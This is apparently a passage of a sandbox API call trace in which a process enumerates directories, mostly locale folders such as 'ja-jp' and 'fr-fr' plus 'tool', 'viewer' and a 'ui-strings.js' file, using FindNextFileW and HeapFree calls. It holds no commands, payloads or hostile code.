[0273.638] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0273.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0273.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0273.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0273.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0273.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0273.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0273.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0273.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0273.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0273.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0273.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0273.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0273.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0273.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0273.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0273.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0273.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0273.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0273.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0273.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2d7b4 | out: lpFindFileData=0x3b2d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0273.641] FindClose (in: hFindFile=0x6ebaf0 | out: hFindFile=0x6ebaf0) returned 1 [0273.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2da30 | out: lpFindFileData=0x3b2da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 1 [0273.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0273.642] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2da30 | out: lpFindFileData=0x3b2da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 0 [0273.642] FindClose (in: hFindFile=0x6ebab0 | out: hFindFile=0x6ebab0) returned 1 [0273.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.642] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0 [0273.642] FindClose (in: hFindFile=0x64a1d8 | out: hFindFile=0x64a1d8) returned 1 [0273.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.645] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 0 [0273.645] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0273.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.645] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="viewer", cAlternateFileName="")) returned 1 [0273.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.646] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0273.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.646] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0273.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.646] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0273.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.646] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0273.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0273.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0273.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0273.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0273.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0273.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0273.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0273.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 